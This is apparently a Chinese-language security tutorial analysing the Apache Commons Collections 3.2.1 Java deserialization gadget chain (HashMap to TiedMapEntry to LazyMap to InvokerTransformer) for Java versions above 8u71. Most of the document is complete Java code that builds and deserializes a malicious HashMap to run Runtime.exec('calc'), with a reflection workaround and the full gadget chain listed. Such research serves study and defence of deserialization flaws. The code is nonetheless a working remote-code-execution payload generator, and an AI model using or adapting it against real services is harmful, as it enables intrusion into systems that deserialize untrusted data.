復現環境:common-collections版本<=3.2.1,java版本隨意.
我們觀察java高於8u71的版本會發現sun.reflect.annotation.AnnotationInvocationHandler
類被進行了修改,其中的readObject不去呼叫setvalue方法,而是建立了一個LinkedHashMap var7去重新進行操作,使我們之前的利用鏈中斷.
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Map.Entry var9 = (Map.Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(objectToString(var11))).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
由於commoncollections版本沒變,因此在chainedTransformer以及之前的鏈子不用改變,需要重新找個出口去自動呼叫transform方法.
原始碼剖析
LazyMap
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
}
可以看到在get方法中呼叫了factory的transform方法.而decorate方法可以返回一個Map物件.
測試:
package org.example;
import java.io.*;
import com.sun.org.apache.bcel.internal.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
String MethodName1 = "getMethod";
Class[] ParmaType1 = {String.class, Class[].class};
Object[] Parma1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);
String MethodName2 = "invoke";
Class[] ParmaType2 = {Object.class, Object[].class};
Object[] Parma2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);
String MethodName3 = "exec";
Class[] ParmaType3 = {String.class};
Object[] Parma3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);
Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
lazymap.get(null);
}
}
也是成功的彈計算器了.接下來就是要找一個能夠自動呼叫get方法的函式.
TiedMapEntry
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getValue() {
return this.map.get(this.key);
}
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
getValue方法能夠呼叫map的get方法,然後hashCode方法能夠呼叫getValue方法.
測試:
package org.example;
import java.io.*;
import com.sun.org.apache.bcel.internal.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
String MethodName1 = "getMethod";
Class[] ParmaType1 = {String.class, Class[].class};
Object[] Parma1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);
String MethodName2 = "invoke";
Class[] ParmaType2 = {Object.class, Object[].class};
Object[] Parma2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);
String MethodName3 = "exec";
Class[] ParmaType3 = {String.class};
Object[] Parma3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);
Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
tiedMapEntry.hashCode();
}
}
接下來就是想辦法呼叫hashCode方法.
HashMap
只看其中幾個會用到的函式
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
我們看到hash中呼叫了hashCode方法.而readObject中呼叫了hash方法.因此比較明瞭,我們只需要建立一個鍵為惡意的TiedMapEntry物件,值隨意的HashMap,然後去觸發反序列化,即可成功的執行命令.
然而這裡又出現了個問題,在我們使用put方法去進行插值的時候也會觸發hash方法,導致我們還沒來得及將物件進行序列化就已經執行了命令.
解決方法:使用反射去進行修改.
package org.example;
import java.io.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ExceptionPredicate;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
String MethodName1 = "getMethod";
Class[] ParmaType1 = {String.class, Class[].class};
Object[] Parma1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);
String MethodName2 = "invoke";
Class[] ParmaType2 = {Object.class, Object[].class};
Object[] Parma2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);
String MethodName3 = "exec";
Class[] ParmaType3 = {String.class};
Object[] Parma3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);
Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer(null) );
//注意這裡不能為new ChainedTransformer(null),因為引數型別不匹配
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, null);
Class clazz = lazymap.getClass();
Field field = clazz.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap, chainedTransformer);
serial(hashMap);
unserial();
}
public static void serial(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}
然而並沒有像我們設想的那樣去彈出計算器.
研究發現問題出在LazyMap的get方法中
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
在TiedMapEntry物件初始化時會呼叫get方法,那麼就會給這個map去put一個鍵值對.
反序列化之前第一次經過get:
反序列化時第二次經過get:
這裡的map中填了一對null的鍵值對,實際是在我們這個語句時指定的null,如果我們改成1的話鍵就是1,值就是null.因為TiedMapEntry的建構函式中只初始化了key,沒有去初始化value.
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
解決方案一:
網上給出的大多都是在序列化之前移除lazymap中的這個鍵值對lazymap.remove("2");
解決方案二:
我更喜歡的是更換反射修改的位置.使用反射去修改TiedMapEntry而不是LazyMap將會一舉兩得的解決這個問題.既避免了put的時候觸發LazyMap,也避免了初始化TiedMapEntry的時候修改LazyMap.
測試:
package org.example;
import java.io.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ExceptionPredicate;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
String MethodName1 = "getMethod";
Class[] ParmaType1 = {String.class, Class[].class};
Object[] Parma1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);
String MethodName2 = "invoke";
Class[] ParmaType2 = {Object.class, Object[].class};
Object[] Parma2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);
String MethodName3 = "exec";
Class[] ParmaType3 = {String.class};
Object[] Parma3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);
Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, null);
Class clazz = TiedMapEntry.class;
Field field = clazz.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry, lazymap);
serial(hashMap);
unserial();
}
public static void serial(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}
成功彈計算器.
歸納出鏈子
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()